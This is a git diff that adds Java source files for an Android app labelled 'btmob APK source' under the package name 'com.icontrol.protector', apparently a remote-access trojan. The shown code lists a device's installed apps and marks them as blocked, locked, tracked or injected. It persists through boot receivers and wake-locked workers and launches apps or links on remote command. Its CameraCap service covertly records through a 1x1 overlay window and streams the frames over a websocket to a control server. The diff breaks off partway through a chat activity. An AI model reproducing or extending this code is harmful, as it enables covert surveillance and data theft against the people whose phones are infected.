+} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/AppDataManager.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/AppDataManager.java new file mode 100644 index 0000000..08dc325 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/AppDataManager.java @@ -0,0 +1,91 @@ +package com.icontrol.protector; + +import android.content.Context; +import android.content.SharedPreferences; + +import org.json.JSONArray; +import org.json.JSONException; +import org.json.JSONObject; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Iterator; +import java.util.List; +import java.util.Map; + +public class AppDataManager { + private static final String PREF_NAME = "AppDataPrefs"; + private static final String KEY_APP_DATA = "appData"; + private final SharedPreferences sharedPreferences; + + public AppDataManager(Context context) { + sharedPreferences = context.getSharedPreferences(PREF_NAME, Context.MODE_PRIVATE); + } + + public void addData(String appId, String data) { + Map> appData = loadData(); + appData.putIfAbsent(appId, new ArrayList<>()); + appData.get(appId).add(data); + saveData(appData); + } + + + public List getData(String appId) { + Map> appData = loadData(); + return appData.getOrDefault(appId, new ArrayList<>()); + } + + public void clearData(String appId) { + Map> appData = loadData(); + appData.remove(appId); + saveData(appData); + } + + + public boolean removeData(String appId, String data) { + Map> appData = loadData(); + List dataList = appData.get(appId); + if (dataList != null && dataList.remove(data)) { + saveData(appData); + return true; + } + return false; + } + + + private void saveData(Map> appData) { + JSONObject jsonObject = new JSONObject(); + try { + for (Map.Entry> entry : appData.entrySet()) { + JSONArray jsonArray = new JSONArray(entry.getValue()); + jsonObject.put(entry.getKey(), jsonArray); + } + } catch (JSONException e) { + e.printStackTrace(); + } + sharedPreferences.edit().putString(KEY_APP_DATA, jsonObject.toString()).apply(); + } + + + private Map> loadData() { + Map> appData = new HashMap<>(); + String jsonString = sharedPreferences.getString(KEY_APP_DATA, "{}"); + try { + JSONObject jsonObject = new JSONObject(jsonString); + Iterator keys = jsonObject.keys(); // Use keys() to get an Iterator + while (keys.hasNext()) { + String key = keys.next(); // Get each key + JSONArray jsonArray = jsonObject.getJSONArray(key); + List list = new ArrayList<>(); + for (int i = 0; i < jsonArray.length(); i++) { + list.add(jsonArray.getString(i)); + } + appData.put(key, list); + } + } catch (JSONException e) { + e.printStackTrace(); + } + return appData; + } + +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Apps_Manage.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Apps_Manage.java new file mode 100644 index 0000000..7113237 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Apps_Manage.java @@ -0,0 +1,188 @@ +package com.icontrol.protector; + +import static com.icontrol.protector.AccessTools.Blocked_Apps; +import static com.icontrol.protector.AccessTools.Lock_App_list; +import static com.icontrol.protector.AccessTools.Map_Name_ID; +import static com.icontrol.protector.AccessTools.ject_list; +import static com.icontrol.protector.Consts.SPLIT_ARAY; +import static com.icontrol.protector.Consts.SPLIT_LINE; +import static com.icontrol.protector.UtliTools.drawableToBitmap; + +import android.content.Context; +import android.content.pm.ActivityInfo; +import android.content.pm.ApplicationInfo; +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Bitmap; +import android.graphics.drawable.Drawable; +import android.util.Base64; + +import java.io.ByteArrayOutputStream; +import java.util.Date; +import java.util.List; + +public class Apps_Manage { + private static StringBuffer LoadApps = new StringBuffer(); + public static String Load(Context c) { + try { + // byte[] f = "null".getBytes(); + if (LoadApps.toString().length() != 0){ + LoadApps = new StringBuffer(); + } + + final PackageManager pm = c.getPackageManager(); + List pk = pm.getInstalledApplications(PackageManager.GET_META_DATA); + for (ApplicationInfo p : pk) { + + + if (pm.getLaunchIntentForPackage(p.packageName) != null && + !pm.getLaunchIntentForPackage(p.packageName).equals("")) + { +// String permissionsString = "null"; +// String activitiesString = "null"; +// String reciversString = "null"; + + + //Array of all pInf.activities to one string + +// PackageInfo perimsinfo = pm.getPackageInfo(p.packageName, PackageManager.GET_PERMISSIONS); +// if(perimsinfo.requestedPermissions != null){ +// StringBuilder permissionsStringBuilder = new StringBuilder(); +// for (String permission : perimsinfo.requestedPermissions) { +// +// permissionsStringBuilder.append(permission).append(""); +// } +// permissionsString = permissionsStringBuilder.toString(); +// } + +// PackageInfo activisinfo = pm.getPackageInfo(p.packageName, PackageManager.GET_ACTIVITIES); +// if (activisinfo.activities != null) { +// StringBuilder activitiesStringBuilder = new StringBuilder(); +// +// for (ActivityInfo activityInfo : activisinfo.activities) { +// +// activitiesStringBuilder.append(activityInfo.name).append(""); +// +// } +// activitiesString = activitiesStringBuilder.toString(); +// } + +// PackageInfo reciversinfo = pm.getPackageInfo(p.packageName, PackageManager.GET_RECEIVERS); +// if(reciversinfo.receivers != null){ +// StringBuilder reciversStringBuilder = new StringBuilder(); +// +// for (ActivityInfo reciverinfo : reciversinfo.receivers) { +// // Append the information you need, such as activity name, package name, etc. +// reciversStringBuilder.append(reciverinfo.name).append(""); +// +// } +// reciversString = reciversStringBuilder.toString(); +// } + + PackageInfo pInf = pm.getPackageInfo(p.packageName, PackageManager.GET_PERMISSIONS); + Date installTime = new Date(pInf.firstInstallTime); + String flag = "null"; + + if (pm.getLaunchIntentForPackage(p.packageName) != null) { + if ((p.flags & ApplicationInfo.FLAG_SYSTEM) == 1) { + flag = "System"; + } else { + flag = "User"; + } + } + + String isenabled = "1"; + try{ + if(Blocked_Apps.contains(p.packageName.toString().toLowerCase())){ + isenabled = "0"; + } + }catch (Exception a){ + + } + + String islocked = "0"; + try{ + if (Lock_App_list.contains(p.packageName.toString().toLowerCase())){ + islocked = "1"; + } + }catch (Exception a){ + + } + String istracked = "0"; + try{ + + if (Map_Name_ID.containsKey(pm.getApplicationLabel(p))) { + istracked="1"; + } + }catch (Exception a){ + + } + + String isjected = "0"; + try{ + if (ject_list.contains(p.packageName.toString().toLowerCase())){ + isjected = "1"; + } + }catch (Exception a){ + + } + + String baseString = "null"; + try { + Drawable icon = c.getPackageManager().getApplicationIcon(p.packageName); + + // Convert Drawable to Bitmap + Bitmap bitmap = drawableToBitmap(icon); + + // Resize the Bitmap to 45x45 + Bitmap resizedBitmap = Bitmap.createScaledBitmap(bitmap, 30, 30, false); + + // Compress the resized Bitmap and convert to Base64 + ByteArrayOutputStream byteStream = new ByteArrayOutputStream(); + resizedBitmap.compress(Bitmap.CompressFormat.JPEG, 30, byteStream); + byte[] byteArray = byteStream.toByteArray(); + baseString = Base64.encodeToString(byteArray, Base64.DEFAULT); + } catch (PackageManager.NameNotFoundException e) { + e.printStackTrace(); + baseString="null"; + } + + + + //isenabled islocked istracked + + LoadApps.append(pm.getApplicationLabel(p) + + SPLIT_ARAY + + flag + + SPLIT_ARAY + + p.packageName + + SPLIT_ARAY + + installTime+ + SPLIT_ARAY + + baseString + + SPLIT_ARAY + + isenabled + + SPLIT_ARAY + + islocked + + SPLIT_ARAY + + istracked + + SPLIT_ARAY + + isjected + + SPLIT_LINE); + } + } + + try { + if (LoadApps.toString().length()!=0){ + + + String s0 = LoadApps.toString() ; + // f = s0.getBytes(); + return s0; + } + } catch (Exception e) {} + + } catch (Exception e) {} + return null; + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/AudioUtils.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/AudioUtils.java new file mode 100644 index 0000000..a8b7076 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/AudioUtils.java @@ -0,0 +1,71 @@ +package com.icontrol.protector; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.nio.ByteBuffer; +import java.nio.ByteOrder; + +public class AudioUtils { + + public static byte[] addWavHeader(byte[] pcmData, int sampleRate, int channels, int bitsPerSample) throws IOException { + long totalAudioLen = pcmData.length; + long totalDataLen = totalAudioLen + 36; + long byteRate = sampleRate * channels * bitsPerSample / 8; + byte[] header = wavFileHeader(totalAudioLen, totalDataLen, sampleRate, channels, byteRate, (byte) bitsPerSample); + + ByteArrayOutputStream out = new ByteArrayOutputStream(); + out.write(header); + out.write(pcmData); + return out.toByteArray(); + } + private static byte[] wavFileHeader(long totalAudioLen, long totalDataLen, long longSampleRate, + int channels, long byteRate, byte bitsPerSample) { + byte[] header = new byte[44]; + header[0] = 'R'; // RIFF/WAVE header + header[1] = 'I'; + header[2] = 'F'; + header[3] = 'F'; + header[4] = (byte) (totalDataLen & 0xff); + header[5] = (byte) ((totalDataLen >> 8) & 0xff); + header[6] = (byte) ((totalDataLen >> 16) & 0xff); + header[7] = (byte) ((totalDataLen >> 24) & 0xff); + header[8] = 'W'; + header[9] = 'A'; + header[10] = 'V'; + header[11] = 'E'; + header[12] = 'f'; // 'fmt ' chunk + header[13] = 'm'; + header[14] = 't'; + header[15] = ' '; + header[16] = 16; // 4 bytes: size of 'fmt ' chunk + header[17] = 0; + header[18] = 0; + header[19] = 0; + header[20] = 1; // format = 1 + header[21] = 0; + header[22] = (byte) channels; + header[23] = 0; + header[24] = (byte) (longSampleRate & 0xff); + header[25] = (byte) ((longSampleRate >> 8) & 0xff); + header[26] = (byte) ((longSampleRate >> 16) & 0xff); + header[27] = (byte) ((longSampleRate >> 24) & 0xff); + header[28] = (byte) (byteRate & 0xff); + header[29] = (byte) ((byteRate >> 8) & 0xff); + header[30] = (byte) ((byteRate >> 16) & 0xff); + header[31] = (byte) ((byteRate >> 24) & 0xff); + header[32] = (byte) (channels * (bitsPerSample / 8)); // + // block align + header[33] = 0; + header[34] = bitsPerSample; // bits per sample + header[35] = 0; + header[36] = 'd'; + header[37] = 'a'; + header[38] = 't'; + header[39] = 'a'; + header[40] = (byte) (totalAudioLen & 0xff); + header[41] = (byte) ((totalAudioLen >> 8) & 0xff); + header[42] = (byte) ((totalAudioLen >> 16) & 0xff); + header[43] = (byte) ((totalAudioLen >> 24) & 0xff); + return header; + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Backworker.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Backworker.java new file mode 100644 index 0000000..8ab5045 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Backworker.java @@ -0,0 +1,90 @@ +package com.icontrol.protector; + +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import android.os.PowerManager; +import android.util.Log; + +import androidx.annotation.NonNull; +import androidx.work.Worker; +import androidx.work.WorkerParameters; + + +public class Backworker extends Worker { + + private PowerManager.WakeLock wakeLock; + + public Backworker(Context context, WorkerParameters workerParams) { + super(context, workerParams); + } + + @NonNull + @Override + public Result doWork() { + + try { + if (isStopped()) { + //Log.e("MyWorker", "Worker stopped before start"); + return Result.failure(); + } + acquireWakeLock(); + + Context mcontext = getApplicationContext(); + try { + + Intent workint = new Intent(getApplicationContext(), EngineWorker.class); + if (!MyCods.isServiceRunning(getApplicationContext(), EngineWorker.class)) + { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + mcontext.startForegroundService(workint); + }else + { + mcontext.startService(workint); + } + } + + if (!MyCods.isServiceRunning(getApplicationContext(), WorkServices.class)) + { + Intent workint2 = new Intent(getApplicationContext(), WorkServices.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + mcontext.startForegroundService(workint2); + }else + { + mcontext.startService(workint2); + } + }else{ + try{ + Intent intent = new Intent(getApplicationContext(), WorkServices.class); + intent.setAction("HB"); + mcontext.startService(intent); + }catch (Exception s){} + } + } catch (Exception e) { + + } + + return Result.success(); + } finally { + releaseWakeLock(); + } + } + @Override + public void onStopped() { + super.onStopped(); + Log.w("MyWorker", "Worker was stopped!"); + } + private void acquireWakeLock() { + PowerManager powerManager = (PowerManager) getApplicationContext().getSystemService(Context.POWER_SERVICE); + if (powerManager != null) { + wakeLock = powerManager.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK| PowerManager.ON_AFTER_RELEASE, getApplicationContext().getPackageName() + ":wrk"); + wakeLock.acquire(60*1000L /*10 minutes*/); // Acquire for a maximum of 10 minutes + } + } + + private void releaseWakeLock() { + if (wakeLock != null && wakeLock.isHeld()) { + wakeLock.release(); + } + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/BootReceiver.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/BootReceiver.java new file mode 100644 index 0000000..17aee4e --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/BootReceiver.java @@ -0,0 +1,52 @@ +package com.icontrol.protector; + +import static com.icontrol.protector.MyCods.isServiceRunning; +import static com.icontrol.protector.WorkServices.MyWorker.AlertServer; + +import android.content.BroadcastReceiver; +import android.content.Context; +import android.content.Intent; +import android.os.Build; + +public class BootReceiver extends BroadcastReceiver { + @Override + public void onReceive(Context context, Intent intent) { + + + new Thread(() -> { + + if (intent.getAction() != null ){ + if((intent.getAction() == "android.intent.action.BOOT_COMPLETED") || + (intent.getAction() == "android.intent.action.REBOOT") ){ + + + try{ + Intent splasher = new Intent(context, Splasher.class); + splasher.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + splasher.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + splasher.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); + context.startActivity(splasher); + + }catch (Exception a){} + } + } + + AlarmHelper.setAlarm(context); + + MySettings.WriteBool(context, Consts.AutoStartOn,true); + + Intent workint = new Intent(context, EngineWorker.class); + if (!isServiceRunning(context, EngineWorker.class)) + { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + context.startForegroundService(workint); + }else + { + context.startService(workint); + } + + } + }).start(); + + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/BrodcastActivity.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/BrodcastActivity.java new file mode 100644 index 0000000..b26d1d5 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/BrodcastActivity.java @@ -0,0 +1,109 @@ +package com.icontrol.protector; + +import static com.icontrol.protector.WorkServices.MyWorker.AlertServer; + +import android.app.Activity; +import android.content.ActivityNotFoundException; +import android.content.ComponentName; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.view.Window; +import android.view.WindowManager; + + +public class BrodcastActivity extends Activity { + + @Override + protected void onCreate( Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + + + String lunchtype = null ; + String tolunch = null ; + try { + Intent intentnew = getIntent(); + if (intentnew.hasExtra("type")){ + lunchtype = intentnew.getStringExtra("type"); + } + + if(intentnew.hasExtra("tolunch")){ + tolunch = intentnew.getStringExtra("tolunch"); + } + + }catch (Exception a){ + a.printStackTrace(); + lunchtype = null; + tolunch= null; + } + + if (lunchtype != null && tolunch != null){ + MyLoger.Debug("BrodcastActivity", "lunchtype: " + lunchtype); + MyLoger.Debug("BrodcastActivity", "tolunch: " + tolunch); + requestWindowFeature(Window.FEATURE_NO_TITLE); + + getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, + WindowManager.LayoutParams.FLAG_FULLSCREEN); + + switch (lunchtype) { + case "app": + openAppByPackageName(tolunch); + break; + case "link": + openLinkInBrowser(tolunch); + break; + default: + MyLoger.Debug("BrodcastActivity", "Unknown lunchtype: " + lunchtype); + break; + } + + + } + + finish(); + } + private void openAppByPackageName(String packageName) { + PackageManager pm = getPackageManager(); + Intent appIntent = pm.getLaunchIntentForPackage(packageName); + if (appIntent != null) { + appIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + startActivity(appIntent); + } else { + MyLoger.Debug("BrodcastActivity", "App not found: " + packageName); + AlertServer(getApplicationContext(),"Broadcast","App not found: " + packageName); + } + } + + private void openLinkInBrowser(String url) { + + try { + Intent i = new Intent("android.intent.action.MAIN"); + i.setComponent(new ComponentName("com.android.chrome", "com.google.android.apps.chrome.Main")); + i.addCategory("android.intent.category.LAUNCHER"); + i.setData(Uri.parse(url)); + startActivity(i); + } catch(ActivityNotFoundException e) { + Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(url)); + if (browserIntent.resolveActivity(getPackageManager()) != null) { + browserIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + startActivity(browserIntent); + } + } + } +// @Override +// public void finish() { +// if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { +// super.finishAndRemoveTask(); +// } +// else { +// super.finish(); +// } +// } + + @Override + protected void onDestroy() { + super.onDestroy(); + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/CameraCap.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/CameraCap.java new file mode 100644 index 0000000..fa6a5e9 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/CameraCap.java @@ -0,0 +1,580 @@ +package com.icontrol.protector; + +import static com.icontrol.protector.WorkServices.MyWorker.AlertServer; +import static com.icontrol.protector.Consts.URL_SOCKT; + +import android.app.Notification; +import android.app.Service; + +import android.content.Context; +import android.content.Intent; +import android.content.pm.ServiceInfo; +import android.graphics.ImageFormat; +import android.graphics.PixelFormat; +import android.graphics.Rect; +import android.graphics.YuvImage; +import android.hardware.Camera; +import android.os.Build; +import android.os.IBinder; + +import android.util.Base64; +import android.view.Gravity; +import android.view.SurfaceHolder; +import android.view.SurfaceView; +import android.view.WindowManager; + +import androidx.annotation.NonNull; +import androidx.annotation.Nullable; + +import org.json.JSONException; +import org.json.JSONObject; + +import java.io.ByteArrayOutputStream; +import java.util.ArrayList; +import java.util.List; +import java.util.Vector; + +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.Response; +import okhttp3.WebSocket; +import okhttp3.WebSocketListener; + +public class CameraCap extends Service implements SurfaceHolder.Callback { + public static Camera mycamera = null; + + + public static WindowManager WindoManager; + //public SurfaceView serfaceV; + public static WindowManager.LayoutParams MyLayout; + public static boolean Camused = false, ctd = false; + private List BytsArry = new ArrayList(); + private static Object Lockobj = new Object(); + public static String CommandData; + + public static WindowManager.LayoutParams Win_Layout; + + public static WindowManager Win_Manage; + public SurfaceView Srf_Vew; + //CameraCap currentinstns; + + public static String load() { + String Response = ""; + try { + Camera cm = Camera.open(0); + List tmpList = cm.getParameters().getSupportedPreviewSizes(); + + final List sizeList = new Vector<>(); + + + for (int i = 0; i < tmpList.size(); i++) { + + String size = "[" + String.valueOf(tmpList.get(i).width) + "x" + String.valueOf(tmpList.get(i).height) + "],"; + //Log.e("Size :",size); + Response += size; +// + } + } catch (Exception a) { + } + return Response; + } + + private static int Notifi_ID = 111; + + private void startforground(Context ctx) { + try { + // int Notifi_ID = UtliTools.randomnumber(11111, 88888); + MyNotification MyNotifiint = MyNotification.getInstance(ctx); + Notification notification = MyNotifiint.createNotification(ctx); + if (Build.VERSION.SDK_INT >= 34) { + this.startForeground(Notifi_ID, notification, + ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC); + } else { + this.startForeground(Notifi_ID, notification); + } + } catch (Exception a) { + } + + + } + + + @Override + public void onCreate() { + super.onCreate(); + + Context ctx = getApplicationContext(); + startforground(ctx); + } + + public static final String ACTION_STOP_CAM = "ACTION_STOP_C"; + + @Override + public int onStartCommand(Intent intent, int flags, int startId) { + try { + if (intent != null) { + String action = intent.getAction(); + if (action != null && action.equals(ACTION_STOP_CAM)) { + killall(); + stopForeground(false); + + // Stop the foreground service. + stopSelf(); + return START_NOT_STICKY; + } + } + + Context ctx = getApplicationContext(); + startforground(ctx); + String Dataintent = "CData"; + if (intent != null) { + if (intent.hasExtra(Dataintent)) { + if (AccessServices.AccessWindow != null && AccessServices.AccessLayout != null) { + CommandData = intent.getStringExtra(Dataintent); + Camused = ck(); + if (Camused == false) { + + Srf_Vew = new SurfaceView(getApplicationContext()); + + AccessServices.AccessLayout.gravity = Gravity.LEFT | Gravity.TOP; + AccessServices.AccessWindow.addView(Srf_Vew, AccessServices.AccessLayout); + Srf_Vew.getHolder().addCallback(this); + ConnectCam(ctx); + } else { + + AlertServer(ctx, "Camera start fail", "Camera in use By another App"); + ReleaseAll(ctx); + + return START_NOT_STICKY; + } + } else { + CommandData = intent.getStringExtra(Dataintent); + Camused = ck(); + if (Camused == false) { + Win_Manage = (WindowManager) this.getSystemService(Context.WINDOW_SERVICE); + Srf_Vew = new SurfaceView(getApplicationContext()); + + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + Win_Layout = new WindowManager.LayoutParams( + 1, 1, + WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY, + WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL | + WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE | + WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE, + PixelFormat.TRANSLUCENT + ); + + } else { + Win_Layout = new WindowManager.LayoutParams( + 1, 1, + WindowManager.LayoutParams.TYPE_SYSTEM_OVERLAY, + WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH, + PixelFormat.TRANSLUCENT + ); + } + Win_Layout.gravity = Gravity.LEFT | Gravity.TOP; + Win_Manage.addView(Srf_Vew, Win_Layout); + Srf_Vew.getHolder().addCallback(this); + ConnectCam(ctx); + } else { + AlertServer(ctx, "Camera start fail", "Camera in use By another App"); + ReleaseAll(ctx); + + return START_NOT_STICKY; + } + } + } + } + return START_STICKY; + } catch (Exception e) { + } + return START_NOT_STICKY; + } + + + public boolean ck() { + Camera c = null; + try { + c = Camera.open(); + } catch (RuntimeException e) { + return true; + } finally { + if (c != null) { + c.release(); + } + } + return false; + } + + public static boolean camlive = true; + public void ConnectCam(Context ctx) { + new Thread(new Runnable() { + @Override + public void run() { + + client = new OkHttpClient(); + Request request = new Request.Builder().url(URL_SOCKT()).build(); + ws = client.newWebSocket(request, new WebSocketListener() { + + + @Override + public void onClosing(@NonNull WebSocket webSocket, int code, @NonNull String reason) { + super.onClosing(webSocket, code, reason); + if (camlive){ + camlive =false; + //new Thread(() -> { + try { + Thread.sleep(3000); + } catch (InterruptedException e) { + e.printStackTrace(); + } + ConnectCam(ctx); + //}).start(); + + } + } + + @Override + public void onFailure(@NonNull WebSocket webSocket, @NonNull Throwable t, @Nullable Response response) { + super.onFailure(webSocket, t, response); + if (camlive){ + camlive =false; + //new Thread(() -> { + try { + Thread.sleep(3000); + } catch (InterruptedException e) { + e.printStackTrace(); + } + ConnectCam(ctx); + //}).start(); + + } + } + + @Override + public void onOpen(WebSocket webSocket, Response response) { + Thread thread = new Thread() { + @Override + public void run() { + try { + ctd = true; + camlive = true; + String conctkey = MySettings.Read(ctx,Consts.Redirect_k,My_Configs.CONS_KY); + while (camlive) { + try { + byte[] pc = null; + try { + synchronized (CameraCap.Lockobj) { + if (BytsArry.size() > 0) { + pc = (byte[]) BytsArry.get(0); + BytsArry.remove(0); + } + } + } catch (Exception e) { + } + try { + Camera.Parameters prm = CameraCap.mycamera.getParameters(); + int wid = prm.getPreviewSize().width; + int Hig = prm.getPreviewSize().height; + YuvImage yuv = new YuvImage(pc, ImageFormat.NV21, wid, Hig, null); + ByteArrayOutputStream out0 = new ByteArrayOutputStream(); + + + yuv.compressToJpeg(new Rect(0, 0, wid, Hig), Qulty, out0); + byte[] imageData = out0.toByteArray(); + + try { + + + String base64Image = Base64.encodeToString(imageData, Base64.DEFAULT); + + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", "cam"); + jsonObject.put("img", base64Image); + jsonObject.put("cuz", "v"); + + String jsonData = jsonObject.toString(); + + + Livemessage(ctx, jsonData, conctkey); + } catch (Exception e) { + //killall(); + + } + + + out0.close(); + + } catch (Exception ee) { + } + + } catch (Exception e) { + } catch (OutOfMemoryError e) { + } + try { + Thread.sleep(1); + } catch (InterruptedException e) { + } + } + } catch (Exception ex) { + ex.printStackTrace(); + } + } + }; + thread.start(); + + } + + @Override + public void onMessage(WebSocket webSocket, String text) { + super.onMessage(webSocket, text); + try { + JSONObject Response = new JSONObject(text); + String msgtype = Response.optString("type", "empty"); + if (msgtype.equals("stop") || + msgtype.equals("Unauthorized access")) { + killall(); + } + } catch (Exception a) { + } + } + + + }); + } + }).start(); + } + public void killall() { + camlive = false; + ReleaseAll(getApplicationContext()); + try { + if (ws != null) { + ws.cancel(); + ws = null; + } + if (client != null) { + client.dispatcher().cancelAll(); + client.connectionPool().evictAll(); + client.dispatcher().executorService().shutdown(); + client = null; + } + } catch (Exception s) { + + } +// Context ctx = getApplicationContext(); +// if (MyCods.isServiceRunning(ctx, CameraCap.class)) { +// Intent Cameraint = new Intent(ctx, CameraCap.class); +// ctx.stopService(Cameraint); +// } + + } + @Override + public IBinder onBind(Intent intent) { + return null; + } + + private int Qulty = 70; + + + private String Clientid; + + //CommandData = [type = 0/1] , [width] , [height] , [quality] + + @Override + public void surfaceCreated(SurfaceHolder surfaceHolder) { + String[] command = CommandData.split(","); + try { + + CameraCap.mycamera = Camera.open(Integer.valueOf(command[0])); + } catch (RuntimeException e) { + } + try { + Camera.Parameters parameters = CameraCap.mycamera.getParameters(); + Camera.Size bestSize = null; + if (CameraCap.mycamera.getParameters().getSupportedPreviewSizes() != null) { + Camera.Parameters p = CameraCap.mycamera.getParameters(); + List s = p.getSupportedPreviewSizes(); + for (Camera.Size z : s) { + if (z.width > 600 && z.height > 400) { + bestSize = z; + } + } + } + try { + if (command.length > 1) { + bestSize.width = Integer.valueOf(command[1]); + bestSize.height = Integer.valueOf(command[2]); + Qulty = Integer.valueOf(command[3]); + } + + } catch (Exception a) { + bestSize.width = 0; + bestSize.height = 0; + } + + if (bestSize.width == 0 || bestSize.height == 0) { + bestSize.width = 640; + bestSize.height = 480; + } + + List fu = parameters.getSupportedFocusModes(); + if (fu.contains(Camera.Parameters.FOCUS_MODE_CONTINUOUS_VIDEO)) { + parameters.setFocusMode(Camera.Parameters.FOCUS_MODE_CONTINUOUS_VIDEO); + } + + Clientid = command[4]; + + parameters.setPreviewSize(bestSize.width, bestSize.height); + parameters.setPreviewFormat(ImageFormat.NV21); + CameraCap.mycamera.setParameters(parameters); + CameraCap.mycamera.setPreviewDisplay(surfaceHolder); + + CameraCap.mycamera.startPreview(); + + } catch (Exception e) { + } + } + + @Override + public void surfaceChanged(SurfaceHolder surfaceHolder, int format, int width, int height) { + if (CameraCap.mycamera != null) { + CameraCap.mycamera.setPreviewCallback(new Camera.PreviewCallback() { + public void onPreviewFrame(byte[] b, Camera _camera) { + try { + try { + if (b == null) { + return; + } + if (ws != null && ctd == true && client != null) { + if (BytsArry.size() <= 15) { + synchronized (Lockobj) { + BytsArry.add(b); + } + } + } + } catch (OutOfMemoryError e) { + } + } catch (Exception e) { + } + + } + }); + } + } + + private OkHttpClient client; + public static WebSocket ws; + + //Sending Data to nodejs for realtime activity + private void Livemessage(Context ctx, String msg,String conctkey) { + if (ws != null) { + + try { + + + String Myid = MySettings.Read(ctx, Consts.DEVICE_ID, "Deviceid"); + // String IDF = MySettings.Read(ctx, Consts.THE_IDF, null); + + if (Myid == null) { + return; + } +// if (IDF == null) { +// return; +// } + + String CIP = MySettings.Read(ctx, Consts.THE_CIP, "null"); + + + JSONObject message = new JSONObject(); + // message.put("userId", userid); + message.put("idf", Clientid); + message.put("pid", Myid); + message.put("itype", "Slr_client"); + message.put("subc", "msg"); + message.put("msg", msg); + message.put("cip", CIP); + + message.put("conk", conctkey); + // Send the JSON message as a string + ws.send(message.toString()); + } catch (JSONException e) { + e.printStackTrace(); + } + } + } + + @Override + public void surfaceDestroyed(SurfaceHolder surfaceHolder) { + } + + public void onDestroy() { + super.onDestroy(); + + + + if (ws != null) { + ws.close(1000, "Closing"); + } + } + + public void ReleaseAll(Context ctx) { + try { + + if (CameraCap.mycamera != null) { + CameraCap.mycamera.setPreviewCallback(null); + CameraCap.mycamera.release(); + CameraCap.mycamera = null; + } + ctd = false; + + Camused = false; + } catch (Exception e) { + + } + try { + if (AccessServices.AccessWindow != null && AccessServices.AccessLayout != null) { + if (Camused == false) { + try { + if (Srf_Vew != null && Srf_Vew.getWindowToken() != null) { + Srf_Vew.getHolder().removeCallback(this); + AccessServices.AccessWindow.removeView(Srf_Vew); + Srf_Vew = null; + } + + } catch (Exception ss) { + } + } + } else { + if (Srf_Vew != null && Srf_Vew.getWindowToken() != null) { + try { + // Remove the SurfaceHolder callback if you added one + Srf_Vew.getHolder().removeCallback(this); + + // Remove the view from WindowManager + Win_Manage.removeView(Srf_Vew); + } catch (Exception e) { + e.printStackTrace(); // Log errors if removal fails + } finally { + // Null references to help GC + Srf_Vew = null; + Win_Manage = null; + Win_Layout = null; + } + } + } + + } catch (Exception s) { + } + +// try { +// if (currentinstns != null) { +// currentinstns.stopSelf(); +// } +// } catch (Exception a) { +// } + + // Intent i = new Intent(ctx, CameraCap.class); + // ctx.stopService(i); + } + +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/ChatActivity.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/ChatActivity.java new file mode 100644 index 0000000..613fbc7 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/ChatActivity.java @@ -0,0 +1,176 @@ +package com.icontrol.protector; + + + +import android.app.Activity; +import android.content.Intent; +import android.content.SharedPreferences; +import android.graphics.Color; +import android.graphics.drawable.GradientDrawable; +import android.os.Bundle; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.Button; +import android.widget.EditText; +import android.widget.LinearLayout; +import android.widget.ScrollView; +import android.widget.TextView; + +import org.json.JSONObject; + + +public class ChatActivity extends Activity { + + private EditText messageEditText; + private TextView chattitle; + private LinearLayout chatLayout; // Changed to LinearLayout + private ScrollView scrollView2; + private SharedPreferences sharedPreferences; + + private static final String CHAT_PREFS = "chat_prefs"; + private static final String 